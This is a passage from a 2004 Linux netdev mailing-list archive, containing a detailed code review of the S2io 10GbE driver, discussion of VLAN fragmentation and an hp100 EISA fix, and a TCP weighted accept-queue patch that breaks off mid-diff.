From raghavendra.koushik@wipro.com Mon Mar 1 00:20:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Mar 2004 00:20:31 -0800 (PST) Received: from wiproecmx1.wipro.com (wiproecmx1.wipro.com [164.164.31.5]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i218K2KO023263 for ; Mon, 1 Mar 2004 00:20:06 -0800 Received: from ec-vwall-wd (ec-vwall-wd.wipro.com [10.200.52.125]) by wiproecmx1.wipro.com (8.12.9-20031013/8.12.9) with SMTP id i216LgYO008604 for ; Mon, 1 Mar 2004 11:51:42 +0530 (IST) Received: from blr-ec-bh3.wipro.com ([10.200.50.93]) by ec-vwall-wd with InterScan Messaging Security Suite; Mon, 01 Mar 2004 11:52:55 +0530 Received: from blr-m3-msg.wipro.com ([10.114.50.99]) by blr-ec-bh3.wipro.com with Microsoft SMTPSVC(5.0.2195.6713); Mon, 1 Mar 2004 11:51:40 +0530 X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: RE: Submission #3 for S2io 10GbE driver Date: Mon, 1 Mar 2004 11:51:40 +0530 Message-ID: <4223A04BF7D1B941A25246ADD0462FF50115AD10@blr-m3-msg.wipro.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Submission #3 for S2io 10GbE driver Thread-Index: AcP+OJoiC17+ieJTSVmICXn6FsK2lQBHAAIw From: To: , Cc: , , , , X-OriginalArrivalTime: 01 Mar 2004 06:21:40.0703 (UTC) FILETIME=[759CF6F0:01C3FF55] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i218K2KO023263 X-archive-position: 3678 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: raghavendra.koushik@wipro.com Precedence: bulk X-list: netdev Jeff, Regarding Point # 37 >>37) kill all of this: >> >>+/* OS related system calls */ >>+ >>+#ifndef readq >>+static inline u64 read64(void *addr) >>+{ >>+ u64 ret = 0; >>+ ret = readl(addr + 4); >>+ (u64) ret <<= 32; >>+ (u64) ret |= readl(addr); [....] I agree that read/write(32,16,8) are not used so can be eliminated, but the read/write64 macros are essential because not all platforms have defined the readq and writeq system calls. i386 for example doesn't have readq/writeq and to write into the 64 bit registers of the NIC, I use 2 successive 32 bits (readl/writel) operation to achieve the 64 bit equivalent. This procedure does work on all the platforms that we have tested on. Regards Koushik -----Original Message----- From: Jeff Garzik [mailto:jgarzik@pobox.com] Sent: Sunday, February 29, 2004 1:52 AM To: Leonid Grossman Cc: netdev@oss.sgi.com; 'Stephen Hemminger'; 'Christoph Hellwig'; 'ravinandan arakali'; raghavendra.koushik@s2io.com Subject: Re: Submission #3 for S2io 10GbE driver Looking a lot better. A few merge issues remain, and some operational ones as well. There are 39 issues in this review, but IMO they are mostly minor issues that don't require much thought or work. Comments: 0) to repeat myself from an earlier review... grumble... You CANNOT use NETIF_F_HW_CSUM, when your hardware does not provide the checksum value. You must use NETIF_F_IP_CSUM. Your use of NETIF_F_HW_CSUM + CHECKSUM_UNNECESSARY is flat out incorrect. 1) the makefile is for out-of-tree stuff. The proper makefile will be much smaller. So just submit a proper in-tree Makefile. 2) (in general) we don't want the compatibility stuff in-tree, that's for out-of-tree as well. 3) just submit a patch to include/linux/pci_ids.h instead of the following +/* VENDOR and DEVICE ID of XENA. */ +#ifndef PCI_VENDOR_ID_S2IO +#define PCI_VENDOR_ID_S2IO 0x17D5 +#define PCI_DEVICE_ID_S2IO_WIN 0x5731 +#define PCI_DEVICE_ID_S2IO_UNI 0x5831 +#endif 4) just delete the SET_NETDEV_DEV(), FREE_NETDEV, and IRQ_NONE compatibility defines. these are in 2.4 just like 2.6. 5) Many PCI posting bugs remain. FixMacAddress is an excellent illustration: + write64(&bar0->gpio_control, 0x0040600000000000ULL); + udelay(10); + write64(&bar0->gpio_control, 0x0000600000000000ULL); + udelay(10); + write64(&bar0->gpio_control, 0x0020600000000000ULL); + udelay(10); + write64(&bar0->gpio_control, 0x0060600000000000ULL); + udelay(10); The delay is _not_ guaranteed at all, because you do not know when that write64() will actually be sent to the PCI bus. Only a read[bwl,64] is guaranteed to flush the write to the PCI device. So, the above code does not function as you would expect, on all platforms. 6) More examples of PCI posting bugs, in startNic: + write64(&bar0->mc_rldram_mrs, val64); + set_current_state(TASK_UNINTERRUPTIBLE); + schedule_timeout(HZ / 10); and + write64(&bar0->dtx_control, 0x8007051500000000ULL); + udelay(50); + write64(&bar0->dtx_control, 0x80070515000000E0ULL); + udelay(50); + write64(&bar0->dtx_control, 0x80070515001F00E4ULL); + udelay(50); 7) for fragmented skb's, you should be using pci_map_page() not pci_map_single(). Example in drivers/net/tg3.c. 8) (style) in alarmIntrHandler, due to line wrapping, Lindent has rendered the 'do' loop rather unreadable. 9) you cannot sleep inside the interrupt handler. Therefore the schedule_timeout() in alarmIntrHandler is very wrong. 10) never use a plain constant when calling schedule_timeout(), such as in waitForCmdComplete. Always calculate the desired delay based on the HZ constant. Otherwise, your delay varies depending on platform. HZ represents one second, in jiffies. So half a second delay would be "HZ / 2", etc. Also, when fixing, be careful that your HZ-based calculation will never evaluate to zero. 11) ditto s2io_reset 12) ditto s2io_close. etc. 13) in s2io_xmit, kfree the skb (drop it) if you don't have enough free space to queue it. this is normally a BUG condition, since proper use of netif_{start,stop,wake}_queue() will guarantee that s2io_xmit will only be called when there is free space to queue another skb. 14) spin_lock(), not spin_lock_irqsave(), in your interrupt handler. spin_lock_irqsave() is normally used in any of three cases: (1) don't know whether you're in an ISR or not, (2) definitely not in an ISR, or (3) your ISR is called from more than one hardware interrupt. None of these three is the case. 15) does s2io_get_stats need locking? 16) (style) If you are going to comment each function, you might as well do it in the "kernel-doc" style, which allows the comments to be picked up by automated tools. The format is /** * function_name - short description * @argument1: argument 1 description * @argument2: argument 2 description * ... * SOMETHING: * blah blah blah * SOMETHING ELSE: * blah blah blah The "ALL_CAPS:" indicates a new section/paragraph, in the document. Once this is done, you may add a stub document to Documentation/DocBook/ and then create your driver's nicely-formatted documentation using "make pdfdocs", "make psdocs", or "make htmldocs". 17) this define belongs in include/linux/ethtool.h, if it's not there already... +#define SPEED_10000 10000 18) remove #ifdefs such as +#if defined(ETHTOOL_GREGS) + info->regdump_len = XENA_REG_SPACE; +#endif since this exists in both 2.4 and 2.6 kernels. 19) ditto: +#ifdef ETHTOOL_PHYS_ID 20) for the ethtool EEPROM and register dumps, it would be nice to submit a patch to me for ethtool (http://sf.net/projects/gkernel/), which generates a verbose dump rather than a bunch of hex numbers incomprehensible to the user. This is a long, boring, but easy task suitable to an intern, so I understand if it's not done immediately ;-) 21) s2io_ethtool_nway_reset should restart PHY autonegotiation, not reset the entire card 22) eliminate s2io_ethtool_get_link, it duplicates a generic (and equivalent) function in net/core/ethtool.c 23) ditto, for the s2io_ethtool_{get,set}_{sg,rx,tx}_csum stuff 24) don't explicitly set members to NULL in netdev_ethtool_ops 25) the update to s2io_tx_watchdog still leaves something to be desired. You are no longer performing the could-take-a-long-time card reset inside of spin_lock_bh()... you are now doing it inside the timer interrupt :( Move this to process context by using schedule_work() [2.6] or schedule_task [2.4] 27) Unconditional netif_wake_queue() in s2io_link() still unfixed. You must check for room for additional TX, before calling netif_{start,wake}_queue(). Consider what happens if the link goes down under the TX-full condition [netif_stop_queue]... instant bug. 28) do NOT specify PCI latency timer value as non-zero. pci_set_master() chooses an appropriate latency timer value. It is acceptable to leave this in as an option, as long as the module option's default is zero: +static u8 latency_timer = 0xff; 29) (style) don't bother casting a void pointer: +/* Private member variable initialized to s2io NIC structure */ + sp = (nic_t *) dev->priv; 30) redundant assignment of 'sp': + dev->irq = pdev->irq; + dev->base_addr = (unsigned long) sp->bar0; + sp = (nic_t *) dev->priv; 31) kill the #ifdef +#ifdef SET_ETHTOOL_OPS + SET_ETHTOOL_OPS(dev, &netdev_ethtool_ops); +#endif This one is particularly silly, because SET_ETHTOOL_OPS() is -designed- to eliminate ifdefs. A driver wishing to be compatible will provide its own SET_ETHTOOL_OPS definition, guaranteeing it can be used unconditionally in the driver code here. 32) mark s2io_starter with "__init" 33) kill this: +#ifndef ETH_ALEN +#define ETH_ALEN 6 +#endif 34) the definitions of SUCCESS and FAILURE are incorrect. The driver should return 0 on success, and a negative errno-based error code on failure. -EBUSY, -EOPNOTSUPP, etc. 35) kill this: +#ifndef SUPPORTED_10000baseT_Full +#define SUPPORTED_10000baseT_Full (1 << 12) +#endif 36) (feature addition) you have a ton of NIC-specific statistics. You should make those available to users, via ethtool. 37) kill all of this: +/* OS related system calls */ + +#ifndef readq +static inline u64 read64(void *addr) +{ + u64 ret = 0; + ret = readl(addr + 4); + (u64) ret <<= 32; + (u64) ret |= readl(addr); + + return ret; +} +#else +static inline u64 read64(void *addr) +{ + u64 ret = readq(addr); + return ret; +} +#endif +#define read32(addr, ret) ret = readl(addr); +#define read16(addr, ret) ret = readw(addr); +#define read8(addr, ret) ret = readb(addr); + +#ifndef writeq +static inline void write64(void *addr, u64 val) +{ + writel((u32) (val), addr); + writel((u32) (val >> 32), (addr + 4)); +} +#else +#define write64(addr, ret) writeq(ret,(void *)addr) +#endif +#define write32(addr, ret) writel(ret,(void *)addr); +#define write16(addr, ret) writew(ret,(void *)addr); +#define write8(addr, ret) writeb(ret,(void *)addr); 38) sysctl_xframe.conf belongs somewhere in Documentation/* From davem@redhat.com Mon Mar 1 00:35:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Mar 2004 00:35:51 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i218ZZKO023862 for ; Mon, 1 Mar 2004 00:35:36 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i218ZRb14780; Mon, 1 Mar 2004 03:35:27 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i218ZQ827288; Mon, 1 Mar 2004 03:35:26 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i218ZLeF001017; Mon, 1 Mar 2004 03:35:21 -0500 Date: Mon, 1 Mar 2004 00:35:25 -0800 From: "David S. Miller" To: Bart De Schuymer Cc: ebtables-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: [PATCH] 2.6.3 fix vlan-encapsulated fragmented IP traffic Message-Id: <20040301003525.522d6db2.davem@redhat.com> In-Reply-To: <200403010806.29759.bdschuym@pandora.be> References: <200402291914.53578.bdschuym@pandora.be> <20040229215421.0ca987e8.davem@redhat.com> <200403010806.29759.bdschuym@pandora.be> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3679 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 1 Mar 2004 08:06:29 +0100 Bart De Schuymer wrote: > > I'm really concerned, btw, that this is going to propagate to other places > > as well, what if something that gets handled this way gets sent over an > > IPIP tunnel via some route, and then IPIP has to make all of these crazy > > adjustments too? That's going too far and we'll have to find a better > > way if that is the case. > > I'm not sure how IPIP tunnels are implemented, but I'm assuming they strip the > first IP header like the vlan code strips the vlan header when a vlan-packet > arrives on a vlan-enabled device. Then there should be no problem with this. Let us say that on input, br strips the 4 bytes as you say, iptables looks at the thing and rewrites the IP source/destination address or whatever, and this causes the packet to actually get forwarded out via a different IP route, and let us say that this new IP route causes the packet to go out via an IPIP tunnel device, which must do all the same kind of crap the code you're patching here does, that is determine the LL header size etc. in order to make sure there is enough headroom to slap on the new IP encapsulating header. If you can show that this kind of scenerio would never be generated in the cases where br-netfilter is involved, then fine. From maz@misterjones.org Mon Mar 1 02:12:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Mar 2004 02:12:33 -0800 (PST) Received: from young-lust.wild-wind.fr.eu.org (lopsy-lu.misterjones.org [62.4.18.26]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i21ACIKO028984 for ; Mon, 1 Mar 2004 02:12:19 -0800 Received: from hina.wild-wind.fr.eu.org ([192.168.70.139]) by young-lust.wild-wind.fr.eu.org with esmtp (Exim 3.35 #1 (Debian)) id 1AxkP8-0002RZ-00; Mon, 01 Mar 2004 11:12:06 +0100 Received: from maz by hina.wild-wind.fr.eu.org with local (Exim 3.36 #1 (Debian)) id 1AxkP8-0002qy-00; Mon, 01 Mar 2004 11:12:06 +0100 To: pawel.sokolowski@muflon.linux.pl Cc: netdev@oss.sgi.com Subject: Re: 2.6.4-rc1 + hp100 EISA, not working Organization: Metropolis -- Nowhere X-Attribution: maz Reply-to: mzyngier@freesurf.fr References: From: Marc Zyngier Date: Mon, 01 Mar 2004 11:12:06 +0100 Message-ID: In-Reply-To: (Pawe's message of "Sun, 29 Feb 2004 22:06:16 +0100 (CET)") Lines: 17 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 3680 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mzyngier@freesurf.fr Precedence: bulk X-list: netdev >>>>> "Pawel" == Pawe writes: Pawel> I don't know if it's related to this problem but at earlier stage of Pawel> booting I'm getting following messages: Pawel> EISA: Probing bus 0 at eisa0 Pawel> EISA: Mainboard HWPC061 detected. Pawel> EISA: slot 2 : HWP1940 detected (disabled). Pawel> EISA: Detected 1 card. Try passing 'eisa_bus.enable_dev=2' to your kernel parameters. Your card is tagged as unconfigured by BIOS, and thus is skipped by the probing logic. See Documentation/eisa.txt for details. M. -- Places change, faces change. Life is so very strange. From maz@misterjones.org Mon Mar 1 02:25:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Mar 2004 02:26:01 -0800 (PST) Received: from young-lust.wild-wind.fr.eu.org (lopsy-lu.misterjones.org [62.4.18.26]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i21APaKO031009 for ; Mon, 1 Mar 2004 02:25:37 -0800 Received: from hina.wild-wind.fr.eu.org ([192.168.70.139]) by young-lust.wild-wind.fr.eu.org with esmtp (Exim 3.35 #1 (Debian)) id 1Axkc1-0002T1-00; Mon, 01 Mar 2004 11:25:25 +0100 Received: from maz by hina.wild-wind.fr.eu.org with local (Exim 3.36 #1 (Debian)) id 1Axkc1-0002rb-00; Mon, 01 Mar 2004 11:25:25 +0100 To: pawel.sokolowski@muflon.linux.pl Cc: netdev@oss.sgi.com, jgarzik@pobox.com Subject: Re: 2.6.4-rc1 + hp100 EISA, not working Organization: Metropolis -- Nowhere X-Attribution: maz Reply-to: mzyngier@freesurf.fr References: From: Marc Zyngier Date: Mon, 01 Mar 2004 11:25:25 +0100 Message-ID: In-Reply-To: (Pawe's message of "Sun, 29 Feb 2004 22:06:16 +0100 (CET)") Lines: 26 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 3681 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mzyngier@freesurf.fr Precedence: bulk X-list: netdev >>>>> "Pawel" == Pawe writes: Pawel> On 2.6.3 it just Oopsed and didn't work. On 2.6.4-rc1 it does Pawel> not oops but it doesn't work (neither as module nor as build in kernel). Note that hp100 in 2.6.4-rc1 is still broken wrt EISA probing, since it lacks the terminating entry in the EISA ID list. This one-liner should take care of random crashes that are often reported to LKML : ===== drivers/net/hp100.c 1.24 vs edited ===== --- 1.24/drivers/net/hp100.c Wed Feb 18 13:39:41 2004 +++ edited/drivers/net/hp100.c Mon Mar 1 11:18:00 2004 @@ -201,6 +201,7 @@ { "HWP1990" }, /* HP J2577 */ { "CPX0301" }, /* ReadyLink ENET100-VG4 */ { "CPX0401" }, /* FreedomLine 100/VG */ + { "" } /* Mandatory final entry ! */ }; MODULE_DEVICE_TABLE(eisa, hp100_eisa_tbl); #endif Jeff, would you please push this to Linus ? M. -- Places change, faces change. Life is so very strange. From kashyapv@us.ibm.com Mon Mar 1 03:10:51 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Mar 2004 03:11:00 -0800 (PST) Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i21BAiKO001251 for ; Mon, 1 Mar 2004 03:10:50 -0800 Received: from westrelay03.boulder.ibm.com (westrelay03.boulder.ibm.com [9.17.195.12]) by e33.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i21B9sSL792938; Mon, 1 Mar 2004 06:09:54 -0500 Received: from w-vkashyap95.des.sequent.com (d03av01.boulder.ibm.com [9.17.193.81]) by westrelay03.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i21B9bJc186488; Mon, 1 Mar 2004 04:09:50 -0700 Date: Mon, 1 Mar 2004 02:11:11 -0800 (Pacific Standard Time) From: Vivek Kashyap To: "David S. Miller" cc: Ronghua Zhang , , Subject: Re: [PATCH] proportional share accept() In-Reply-To: <20040229220513.68eed11f.davem@redhat.com> Message-ID: X-X-Sender: kashyapv@imap.linux.ibm.com MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3682 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kashyapv@us.ibm.com Precedence: bulk X-list: netdev On Sun, 29 Feb 2004, David S. Miller wrote: > On Thu, 26 Feb 2004 17:08:23 -0500 (EST) > Ronghua Zhang wrote: > > > www.cs.virginia.edu/~rz5b/research/kernel-qos.htm > > I looked at this, it's basically netfilter TCP port rewriting > which knows about per-socket quotas and limits. > > You could write this as a 10 line netfilter module, with zero > modifications to any of the core net/ipv4 TCP code at all. > And that's how I'd like to see something like this done. Multiple sockets can be forwarded the requests either at an alternative port or address using netfilter. However one has to now mangle the data packets too since the client is still talking to the advertised port (and address). I've modified the earlier post to remove the sysctl and removed the use of STFQ/virtual clock and instead used 'weighted round robin' in tcp_accept(). The solution is very much per socket. The default is to have only one queue that is active. If the shares (simple ratios) are set then the packets are accept()ed in a WRR fashion. Since all work is done in context of a single socket no additional locks have to be held. If the shares are unset then the processing reverts to single queue mode. The per queue backlog is to avoid lower priority requests from filling up the synq and thereby blocking the higher priority requests. Also the iptables' MARK target is quite lightweight. Vivek ----------------------------------------------------------------------------- diff -urN linux-2.6.3_old/include/linux/tcp.h linux-2.6.3/include/linux/tcp.h --- linux-2.6.3_old/include/linux/tcp.h 2004-02-17 19:57:52.000000000 -0800 +++ linux-2.6.3/include/linux/tcp.h 2004-02-29 22:01:11.000000000 -0800 @@ -128,6 +128,10 @@ #define TCP_INFO 11 /* Information about this connection. */ #define TCP_QUICKACK 12 /* Block/reenable quick acks */ +#ifdef CONFIG_ACCEPT_QUEUES +#define TCP_ACCEPTQ_SHARE 13 /* Set accept queue share */ +#endif + #define TCPI_OPT_TIMESTAMPS 1 #define TCPI_OPT_SACK 2 #define TCPI_OPT_WSCALE 4 @@ -185,6 +189,18 @@ __u32 tcpi_reordering; }; +#ifdef CONFIG_ACCEPT_QUEUES + +#define NUM_ACCEPT_QUEUES 8 /* Must be power of 2 */ + +struct tcp_acceptq_info { + unsigned char acceptq_shares; + unsigned long acceptq_wait_time; + unsigned int acceptq_qcount; + unsigned int acceptq_count; +}; +#endif + #ifdef __KERNEL__ #include @@ -362,8 +378,9 @@ /* FIFO of established children */ struct open_request *accept_queue; - struct open_request *accept_queue_tail; - +#ifndef CONFIG_ACCEPT_QUEUES + struct open_request *accept_queue_tail; +#endif int write_pending; /* A write to socket waits to start. */ unsigned int keepalive_time; /* time before keep alive takes place */ @@ -388,6 +405,22 @@ __u32 rtt; __u32 rtt_min; /* minimum observed RTT */ } westwood; + +#ifdef CONFIG_ACCEPT_QUEUES + /* move to listen opt... */ + char class_index; + struct { + struct open_request *aq_head; + struct open_request *aq_tail; + unsigned int aq_cnt; + unsigned int aq_ratio; + unsigned int aq_count; + unsigned int aq_qcount; + unsigned int aq_backlog; + unsigned int aq_wait_time; + int aq_valid; + } acceptq[NUM_ACCEPT_QUEUES]; +#endif }; /* WARNING: don't change the layout of the members in tcp_sock! */ diff -urN linux-2.6.3_old/include/net/tcp.h linux-2.6.3/include/net/tcp.h --- linux-2.6.3_old/include/net/tcp.h 2004-02-17 19:57:16.000000000 -0800 +++ linux-2.6.3/include/net/tcp.h 2004-02-29 21:32:44.000000000 -0800 @@ -639,6 +639,10 @@ struct tcp_v6_open_req v6_req; #endif } af; +#ifdef CONFIG_ACCEPT_QUEUES + unsigned long acceptq_time_stamp; + int acceptq_class; +#endif }; /* SLAB cache for open requests. */ @@ -1688,6 +1692,69 @@ return tcp_win_from_space(sk->sk_rcvbuf); } +#ifdef CONFIG_ACCEPT_QUEUES +static inline void tcp_acceptq_removed(struct sock *sk, int class) +{ + tcp_sk(sk)->acceptq[class].aq_backlog--; +} + +static inline void tcp_acceptq_added(struct sock *sk, int class) +{ + tcp_sk(sk)->acceptq[class].aq_backlog++; +} + +static inline int tcp_acceptq_is_full(struct sock *sk, int class) +{ + return tcp_sk(sk)->acceptq[class].aq_backlog > + sk->sk_max_ack_backlog; +} + +static inline void tcp_set_acceptq(struct tcp_opt *tp, struct open_request *req) +{ + int class = req->acceptq_class; + int prev_class; + + if (!tp->acceptq[class].aq_ratio) { + req->acceptq_class = 0; + class = 0; + } + + tp->acceptq[class].aq_qcount++; + req->acceptq_time_stamp = jiffies; + + if (tp->acceptq[class].aq_tail) { + req->dl_next = tp->acceptq[class].aq_tail->dl_next; + tp->acceptq[class].aq_tail->dl_next = req; + tp->acceptq[class].aq_tail = req; + } else { /* if first request in the class */ + tp->acceptq[class].aq_head = req; + tp->acceptq[class].aq_tail = req; + + prev_class = class - 1; + while (prev_class >= 0) { + if (tp->acceptq[prev_class].aq_tail) + break; + prev_class--; + } + if (prev_class < 0) { + req->dl_next = tp->accept_queue; + tp->accept_queue = req; + } + else { + req->dl_next = tp->acceptq[prev_class].aq_tail->dl_next; + tp->acceptq[prev_class].aq_tail->dl_next = req; + } + } +} +static inline void tcp_acceptq_queue(struct sock *sk, struct open_request *req, + struct sock *child) +{ + tcp_set_acceptq(tcp_sk(sk),req); + req->sk = child; + tcp_acceptq_added(sk,req->acceptq_class); +} + +#else static inline void tcp_acceptq_removed(struct sock *sk) { sk->sk_ack_backlog--; @@ -1720,16 +1787,55 @@ req->dl_next = NULL; } +#endif + struct tcp_listen_opt { u8 max_qlen_log; /* log_2 of maximal queued SYNs */ int qlen; +#ifdef CONFIG_ACCEPT_QUEUES + int qlen_young[NUM_ACCEPT_QUEUES]; +#else int qlen_young; +#endif int clock_hand; u32 hash_rnd; struct open_request *syn_table[TCP_SYNQ_HSIZE]; }; +#ifdef CONFIG_ACCEPT_QUEUES +static inline void +tcp_synq_removed(struct sock *sk, struct open_request *req) +{ + struct tcp_listen_opt *lopt = tcp_sk(sk)->listen_opt; + + if (--lopt->qlen == 0) + tcp_delete_keepalive_timer(sk); + if (req->retrans == 0) + lopt->qlen_young[req->acceptq_class]--; +} + +static inline void tcp_synq_added(struct sock *sk, struct open_request *req) +{ + struct tcp_listen_opt *lopt = tcp_sk(sk)->listen_opt; + + if (lopt->qlen++ == 0) + tcp_reset_keepalive_timer(sk, TCP_TIMEOUT_INIT); + lopt->qlen_young[req->acceptq_class]++; +} + +static inline int tcp_synq_len(struct sock *sk) +{ + return tcp_sk(sk)->listen_opt->qlen; +} + +static inline int tcp_synq_young(struct sock *sk, int class) +{ + return tcp_sk(sk)->listen_opt->qlen_young[class]; +} + +#else + static inline void tcp_synq_removed(struct sock *sk, struct open_request *req) { @@ -1759,6 +1865,7 @@ { return tcp_sk(sk)->listen_opt->qlen_young; } +#endif static inline int tcp_synq_is_full(struct sock *sk) { diff -urN linux-2.6.3_old/net/ipv4/Kconfig linux-2.6.3/net/ipv4/Kconfig --- linux-2.6.3_old/net/ipv4/Kconfig 2004-02-17 19:59:05.000000000 -0800 +++ linux-2.6.3/net/ipv4/Kconfig 2004-02-29 13:41:58.000000000 -0800 @@ -379,5 +379,28 @@ If unsure, say Y. +config ACCEPT_QUEUES + bool "IP: TCP Multiple accept queues support" + depends on INET && NETFILTER + ---help--- + Support multiple accept queues per listening socket. If you say Y + here, multiple accept queues will be configured per listening + socket. + + Each queue is mapped to a priority class. Incoming connection + requests can be classified (see iptables(8), MARK target), depending + on the packet's src/dest address or other parameters, into one of + the priority classes. The requests are then queued to the relevant + accept queue. + + Each of the queues can be assigned a weight. The accept()ance + of packets is then scheduled in accordance with the weight + assigned to the priority class. + + Be sure to enable "Network packet filtering" if you wish + to use this feature. + + If unsure, say N. + source "net/ipv4/ipvs/Kconfig" diff -urN linux-2.6.3_old/net/ipv4/tcp.c linux-2.6.3/net/ipv4/tcp.c --- linux-2.6.3_old/net/ipv4/tcp.c 2004-02-17 19:57:21.000000000 -0800 +++ linux-2.6.3/net/ipv4/tcp.c 2004-03-01 00:47:47.000000000 -0800 @@ -534,13 +534,34 @@ int tcp_listen_start(struct sock *sk) { +#ifdef CONFIG_ACCEPT_QUEUES + int i = 0; +#endif struct inet_opt *inet = inet_sk(sk); struct tcp_opt *tp = tcp_sk(sk); struct tcp_listen_opt *lopt; sk->sk_max_ack_backlog = 0; sk->sk_ack_backlog = 0; - tp->accept_queue = tp->accept_queue_tail = NULL; + tp->accept_queue = NULL; +#ifdef CONFIG_ACCEPT_QUEUES + tp->class_index = 0; + for (i=0; i < NUM_ACCEPT_QUEUES; i++) { + tp->acceptq[i].aq_tail = NULL; + tp->acceptq[i].aq_head = NULL; + tp->acceptq[i].aq_wait_time = 0; + tp->acceptq[i].aq_qcount = 0; + tp->acceptq[i].aq_count = 0; + if (i == 0) { + tp->acceptq[i].aq_valid = 1; + tp->acceptq[i].aq_ratio = 1; + } + else { + tp->acceptq[i].aq_valid = 0; + tp->acceptq[i].aq_ratio = 0; + } + } +#endif tp->syn_wait_lock = RW_LOCK_UNLOCKED; tcp_delack_init(tp); @@ -600,7 +621,13 @@ write_lock_bh(&tp->syn_wait_lock); tp->listen_opt = NULL; write_unlock_bh(&tp->syn_wait_lock); - tp->accept_queue = tp->accept_queue_tail = NULL; +#ifdef CONFIG_ACCEPT_QUEUES + for (i = 0; i < NUM_ACCEPT_QUEUES; i++) + tp->acceptq[i].aq_head = tp->acceptq[i].aq_tail = NULL; +#else + tp->accept_queue_tail = NULL; +#endif + tp->accept_queue = NULL; if (lopt->qlen) { for (i = 0; i < TCP_SYNQ_HSIZE; i++) { @@ -646,7 +673,11 @@ local_bh_enable(); sock_put(child); +#ifdef CONFIG_ACCEPT_QUEUES + tcp_acceptq_removed(sk, req->acceptq_class); +#else tcp_acceptq_removed(sk); +#endif tcp_openreq_fastfree(req); } BUG_TRAP(!sk->sk_ack_backlog); @@ -2230,6 +2261,10 @@ struct open_request *req; struct sock *newsk; int error; +#ifdef CONFIG_ACCEPT_QUEUES + int prev_class = 0; + int first; +#endif lock_sock(sk); @@ -2243,7 +2278,6 @@ /* Find already established connection */ if (!tp->accept_queue) { long timeo = sock_rcvtimeo(sk, flags & O_NONBLOCK); - /* If this is a non blocking socket don't sleep */ error = -EAGAIN; if (!timeo) @@ -2254,12 +2288,46 @@ goto out; } +#ifndef CONFIG_ACCEPT_QUEUES req = tp->accept_queue; if ((tp->accept_queue = req->dl_next) == NULL) tp->accept_queue_tail = NULL; - newsk = req->sk; tcp_acceptq_removed(sk); +#else + first = tp->class_index; + /* We should always have request queued here. The accept_queue + * is already checked for NULL above. + */ + while(!tp->acceptq[first].aq_head) { + tp->acceptq[first].aq_cnt = 0; + first = ++first & ~NUM_ACCEPT_QUEUES; + } + req = tp->acceptq[first].aq_head; + tp->acceptq[first].aq_qcount--; + tp->acceptq[first].aq_count++; + tp->acceptq[first].aq_wait_time+=(jiffies - req->acceptq_time_stamp); + + for (prev_class= first-1 ; prev_class >=0; prev_class--) + if (tp->acceptq[prev_class].aq_tail) + break; + if (prev_class>=0) + tp->acceptq[prev_class].aq_tail->dl_next = req->dl_next; + else + tp->accept_queue = req->dl_next; + + if (req == tp->acceptq[first].aq_tail) + tp->acceptq[first].aq_head = tp->acceptq[first].aq_tail = NULL; + else + tp->acceptq[first].aq_head = req->dl_next; + + if((++(tp->acceptq[first].aq_cnt)) >= tp->acceptq[first].aq_ratio){ + tp->acceptq[first].aq_cnt = 0; + tp->class_index = ++first & ~NUM_ACCEPT_QUEUES; + } + tcp_acceptq_removed(sk, req->acceptq_class); +#endif + newsk = req->sk; tcp_openreq_fastfree(req); BUG_TRAP(newsk->sk_state != TCP_SYN_RECV); release_sock(sk); @@ -2429,6 +2497,49 @@ } } break; + +#ifdef CONFIG_ACCEPT_QUEUES + case TCP_ACCEPTQ_SHARE: + { + char share_wt[NUM_ACCEPT_QUEUES]; + int i,j; + + if (sk->sk_state != TCP_LISTEN) + return -EOPNOTSUPP; + + if 